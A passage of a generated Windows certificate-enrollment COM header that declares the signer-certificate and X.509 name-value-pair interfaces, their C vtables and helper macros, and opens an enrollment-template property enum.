[helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISignerCertificate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33d-217d-11da-b2a4-000e7bbb2b09\")\n    ISignerCertificate : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ X509PrivateKeyVerify VerifyType,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertifcate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Pin( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SignatureInformation( \n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ISignerCertificateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISignerCertificate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISignerCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISignerCertificate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISignerCertificate * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ X509PrivateKeyVerify VerifyType,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertifcate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Pin )( \n            __RPC__in ISignerCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in ISignerCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        END_INTERFACE\n    } ISignerCertificateVtbl;\n\n    interface ISignerCertificate\n    {\n        CONST_VTBL struct ISignerCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISignerCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISignerCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISignerCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISignerCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISignerCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISignerCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISignerCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISignerCertificate_Initialize(This,MachineContext,VerifyType,Encoding,strCertifcate)\t\\\n    ( (This)->lpVtbl -> Initialize(This,MachineContext,VerifyType,Encoding,strCertifcate) ) \n\n#define ISignerCertificate_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define ISignerCertificate_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define ISignerCertificate_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define ISignerCertificate_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define ISignerCertificate_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define ISignerCertificate_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define ISignerCertificate_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define ISignerCertificate_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define ISignerCertificate_put_Pin(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Pin(This,Value) ) \n\n#define ISignerCertificate_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISignerCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISignerCertificates_INTERFACE_DEFINED__\n#define __ISignerCertificates_INTERFACE_DEFINED__\n\n/* interface ISignerCertificates */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISignerCertificates;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33e-217d-11da-b2a4-000e7bbb2b09\")\n    ISignerCertificates : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Find( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCert,\n            /* [retval][out] */ __RPC__out LONG *piSignerCert) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ISignerCertificatesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISignerCertificates * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISignerCertificates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISignerCertificates * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISignerCertificates * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ISignerCertificates * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ISignerCertificates * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ISignerCertificates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Find )( \n            __RPC__in ISignerCertificates * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCert,\n            /* [retval][out] */ __RPC__out LONG *piSignerCert);\n        \n        END_INTERFACE\n    } ISignerCertificatesVtbl;\n\n    interface ISignerCertificates\n    {\n        CONST_VTBL struct ISignerCertificatesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISignerCertificates_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISignerCertificates_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISignerCertificates_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISignerCertificates_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISignerCertificates_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISignerCertificates_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISignerCertificates_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISignerCertificates_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ISignerCertificates_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ISignerCertificates_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ISignerCertificates_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ISignerCertificates_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ISignerCertificates_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ISignerCertificates_Find(This,pSignerCert,piSignerCert)\t\\\n    ( (This)->lpVtbl -> Find(This,pSignerCert,piSignerCert) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISignerCertificates_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509NameValuePair_INTERFACE_DEFINED__\n#define __IX509NameValuePair_INTERFACE_DEFINED__\n\n/* interface IX509NameValuePair */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509NameValuePair;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33f-217d-11da-b2a4-000e7bbb2b09\")\n    IX509NameValuePair : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Value( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509NameValuePairVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509NameValuePair * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509NameValuePair * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509NameValuePair * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509NameValuePair * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Value )( \n            __RPC__in IX509NameValuePair * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IX509NameValuePair * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509NameValuePairVtbl;\n\n    interface IX509NameValuePair\n    {\n        CONST_VTBL struct IX509NameValuePairVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509NameValuePair_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509NameValuePair_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509NameValuePair_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509NameValuePair_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509NameValuePair_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509NameValuePair_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509NameValuePair_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509NameValuePair_Initialize(This,strName,strValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strName,strValue) ) \n\n#define IX509NameValuePair_get_Value(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Value(This,pValue) ) \n\n#define IX509NameValuePair_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509NameValuePair_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509NameValuePairs_INTERFACE_DEFINED__\n#define __IX509NameValuePairs_INTERFACE_DEFINED__\n\n/* interface IX509NameValuePairs */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509NameValuePairs;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab340-217d-11da-b2a4-000e7bbb2b09\")\n    IX509NameValuePairs : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePair **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509NameValuePair *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509NameValuePairsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509NameValuePairs * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePair **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in_opt IX509NameValuePair *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        END_INTERFACE\n    } IX509NameValuePairsVtbl;\n\n    interface IX509NameValuePairs\n    {\n        CONST_VTBL struct IX509NameValuePairsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509NameValuePairs_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509NameValuePairs_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509NameValuePairs_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509NameValuePairs_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509NameValuePairs_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509NameValuePairs_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509NameValuePairs_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509NameValuePairs_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509NameValuePairs_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509NameValuePairs_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509NameValuePairs_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509NameValuePairs_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509NameValuePairs_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509NameValuePairs_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0064 */\n/* [local] */ \n\ntypedef \nenum EnrollmentTemplateProperty\n    {\tTemplatePropCommonName\t= 1,\n\tTemplatePropFriendlyName\t= ( TemplatePropCommonName + 1 ) ,\n\tTemplatePropEKUs\t= ( TemplatePropFriendlyName + 1 ) ,\n\tTemplatePropCryptoProviders\t= ( TemplatePropEKUs + 1 ) ,\n\tTemplatePropMajorRevision\t= ( TemplatePropCryptoProviders + 1 ) ,\n\tTemplatePropDescription\t= ( TemplatePropMajorRevision + 1 ) ,\n\tTemplatePropKeySpec\t= ( TemplatePropDescription + 1 ) ,\n\tTemplatePropSchemaVersion\t= ( TemplatePropKeySpec + 1 ) ,\n\tTemplatePropMinorRevision\t= ( TemplatePropSchemaVersion + 1 ) ,\n\tTemplatePropRASignatureCount\t= ( TemplatePropMinorRevision + 1 ) ,\n\tTemplatePropMinimumKeySize\t= ( TemplatePropRASignatureCount + 1 ) 